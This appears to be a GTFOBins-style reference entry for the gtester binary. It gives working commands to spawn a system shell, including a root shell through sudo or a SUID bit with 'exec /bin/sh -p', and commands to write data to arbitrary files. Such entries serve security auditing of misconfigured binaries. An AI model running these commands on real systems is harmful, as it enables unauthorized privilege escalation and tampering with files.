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• Shell
• File write

Shell

This executable can spawn an interactive system shell.

• Unprivileged

  This function can be performed by any unprivileged user.

  echo 'exec /bin/sh 0<&1' >/path/to/temp-file
  chmod +x /path/to/temp-file
  gtester -q /path/to/temp-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  echo 'exec /bin/sh 0<&1' >/path/to/temp-file
  chmod +x /path/to/temp-file
  gtester -q /path/to/temp-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  Remarks

  This executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.

  echo '#!/bin/sh -p' >/path/to/temp-file
  echo 'exec /bin/sh -p 0<&1' >>/path/to/temp-file
  chmod +x /path/to/temp-file
  gtester -q /path/to/temp-file

File write

This executable can write data to local files.

• Comment

  Data to be written appears in an XML attribute in the output file (<testbinary path="DATA">).

  Unprivileged

  This function can be performed by any unprivileged user.

  gtester DATA -o /path/to/output-file

  Sudo

  This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.

  Remarks

  If there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....

  gtester DATA -o /path/to/output-file

  SUID

  This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.

  gtester DATA -o /path/to/output-file

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